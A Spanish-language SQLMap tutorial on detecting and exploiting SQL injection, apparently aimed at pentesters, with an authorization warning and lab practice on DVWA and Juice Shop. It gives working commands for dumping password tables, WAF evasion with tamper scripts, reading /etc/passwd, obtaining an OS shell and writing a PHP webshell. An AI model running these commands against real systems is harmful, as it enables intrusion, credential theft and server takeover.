¿Qué es SQLMap?
SQLMap es la herramienta de referencia en la industria para automatizar la detección y explotación de inyecciones SQL. Es de código abierto, escrita en Python, y soporta más de 30 motores de bases de datos distintos.
Capacidades principales:
- Detección automática del tipo de inyección (boolean, time, error, UNION)
- Extracción de datos completos de bases de datos comprometidas
- Bypass de WAF con scripts de tamper (ofuscación)
- Post-explotación: lectura/escritura de archivos, obtención de shells del SO
- Soporte para todos los métodos HTTP (GET, POST, PUT, Cookie, Header)
Importante: SQLMap es una herramienta de auditoría de seguridad. Solo debe usarse con autorización explícita del propietario del sistema. El uso no autorizado es un delito informático.
Instalación
# Kali Linux — preinstalado
sqlmap --version
# Ubuntu / Debian
sudo apt install sqlmap
# macOS (Homebrew)
brew install sqlmap
# Desde GitHub (última versión dev)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version
Primer Escaneo con SQLMap
El uso básico es simple: apunta a una URL con un parámetro sospechoso y deja que SQLMap haga el trabajo.
# Escaneo básico con detección automática
sqlmap -u "http://target.com/page?id=1" --batch
# El flag --batch usa respuestas por defecto (sin input del usuario)
# SQLMap probará automáticamente:
# - Tipo de inyección
# - Motor de base de datos
# - Nivel de privilegios
Qué detecta automáticamente:
- Tipo de inyección (4 familias principales)
- Motor de base de datos (MySQL, PostgreSQL, Oracle, etc.)
- Usuario de la BD y nivel de privilegios
- Si es posible extraer datos con UNION o técnicas ciegas
Tipos de Inyección SQL
SQLMap prueba 4 familias de inyección. Entenderlas te permite diagnosticar qué está pasando y cómo evadir firewalls.
1. Boolean-based blind
La aplicación retorna contenido diferente si la condición SQL es verdadera o falsa, sin errores visibles. SQLMap compara las respuestas byte a byte.
# SQLMap detecta esto automáticamente
sqlmap -u "http://target.com/page?id=1" --batch
# Resultado: "Parameter: id (GET)"
# Type: boolean-based blind
2. Time-based blind
No hay diferencia visible entre true/false. SQLMap inyecta SLEEP() y mide el tiempo de respuesta.
# Forzar time-based si boolean no funciona
sqlmap -u "http://target.com/page?id=1" --technique=T --time-sec=5
3. Error-based
El servidor retorna mensajes de error que contienen datos de la BD. SQLMap extrae datos directamente de los errores.
# Más probabilidad de encontrar error-based con nivel alto
sqlmap -u "http://target.com/page?id=1" --level=3 --risk=2
4. UNION-based
SQLMap descubre cuántas columnas tiene la consulta y usa UNION SELECT para exfiltrar datos directamente.
# Forzar UNION con columnas conocidas
sqlmap -u "http://target.com/page?id=1" --technique=U --union-cols=5
Extracción de Datos con SQLMap
Una vez confirmada la vulnerabilidad, el siguiente paso es mapear la base de datos y extraer datos.
# Paso 1: Enumerar bases de datos
sqlmap -u "http://target.com/page?id=1" --dbs --batch
# Paso 2: Listar tablas de una BD
sqlmap -u "http://target.com/page?id=1" -D wordpress --tables --batch
# Paso 3: Volcar una tabla específica
sqlmap -u "http://target.com/page?id=1" \
-D wordpress -T wp_users --dump --batch
# Paso 4: Volcar solo columnas específicas
sqlmap -u "http://target.com/page?id=1" \
-D wordpress -T wp_users -C user_login,user_pass --dump
Tip: Usa
--start=1 --stop=100para volcar por lotes en tablas grandes. Usa--where="role='admin'"para filtrar registros específicos.
Bypass de WAF con Tamper Scripts
Los WAF detectan patrones de SQLi. SQLMap ofrece scripts de tamper que ofuscan las sentencias SQL para evadir la detección.
# Un solo tamper
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment --batch
# Múltiples tamper encadenados
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,between,randomcase \
--random-agent --batch
# Ofuscación manual completa
sqlmap -u "http://target.com/page?id=1" \
--prefix="'UNION/**/SELECT/**/" \
--suffix="/**/FROM/**/users/**/WHERE/**/1=1--" --batch
Tamper scripts más útiles:
space2comment— Reemplaza espacios por/**/between— Cambia>porNOT 1/y=porBETWEEN 0 AND 1charencode— Codifica cada carácter en URL encodingrandomcase— Mezcla mayúsculas/minúsculas en keywords SQLequaltolike— Cambia=porLIKE
SQLMap con Petición POST
Para formularios de login o endpoints POST, guarda la petición completa en un archivo y úsalo con -r.
# Capturar petición desde Burp/Curl y guardarla en request.txt
sqlmap -r request.txt -p username --batch
# Con cookie de sesión
sqlmap -r request.txt --cookie="session=abc123" -p param --batch
Post-explotación: Shell del Sistema Operativo
Si la BD tiene privilegios elevados, SQLMap puede ejecutar comandos del SO directamente.
# Obtener shell del sistema operativo
sqlmap -u "http://target.com/page?id=1" --os-shell --batch
# Leer archivos del servidor
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd" --batch
# Escribir un webshell
sqlmap -u "http://target.com/page?id=1" \
--file-write="./shell.php" \
--file-dest="/var/www/html/shell.php" --batch
Nota:
--os-shellsolo funciona si MySQL tiene UDF habilitado y privilegios de escritura en disco. Si falla, prueba--file-writepara subir un webshell manualmente.
Automatización con Configuración
Para auditorías recurrentes, crea archivos de configuración INI para escaneos reproducibles.
# Crear configuración
cat > target.ini << EOF
[Target]
url = http://target.com/page?id=1
cookie = session=abc123
[Settings]
batch = True
level = 3
risk = 2
tamper = space2comment,between
[Output]
output-dir = ./results/
EOF
# Ejecutar con configuración
sqlmap -c target.ini --dump-all
SQLMap vs. Burp Suite vs. OWASP ZAP
| Característica | SQLMap | Burp Suite | OWASP ZAP |
|---|---|---|---|
| Especialidad | SQLi automatizado | Proxy + Scanner web | Scanner web completo |
| Velocidad SQLi | Muy rápido | Moderado (Repeater) | Moderado |
| Bypass WAF | Tamper scripts | Manual | Scripts |
| Post-explotación | Shell SO | No directo | No directo |
| Curva aprendizaje | Baja | Media | Media |
| Ideal para | Pentest SQLi | Auditoría web completa | QA automatizado |
Combinación recomendada: Usa Burp Suite para mapear la aplicación, identificar parámetros sospechosos, y luego SQLMap para explotar las inyecciones encontradas de forma automatizada.
Práctica en Laboratorios
DVWA (Damn Vulnerable Web Application)
# Nivel low: SQLi básica
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=tu_session; security=low" --batch
# Nivel medium: POST-based
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/" \
--data="id=1&Submit=Submit" \
--cookie="PHPSESSID=tu_session; security=medium" --batch
Juice Shop (OWASP)
# Buscar parámetros vulnerables
sqlmap -u "http://localhost:3000/api/Products/1" --batch
sqlmap -u "http://localhost:3000/api/Users" --batch
HackTheBox / TryHackMe
SQLMap aparece en máquinas como "Celestial", "Postman", "Netmon" y retos web de la plataforma. Es una herramienta fundamental para OSCP y certificaciones de pentesting.
Errores Comunes y Soluciones
"all tested parameters do not appear to be injectable"
→ Aumenta el nivel: --level=3 --risk=2
"connection reset" / WAF bloquea
→ Añade --random-agent --tamper=space2comment y --delay=1
"unknown database management system"
→ Usa --dbms=mysql para forzar el motor conocido
"usage of tamper scripts is not possible"
→ El parámetro puede no estar realmente en la URL. Prueba con -r si es POST.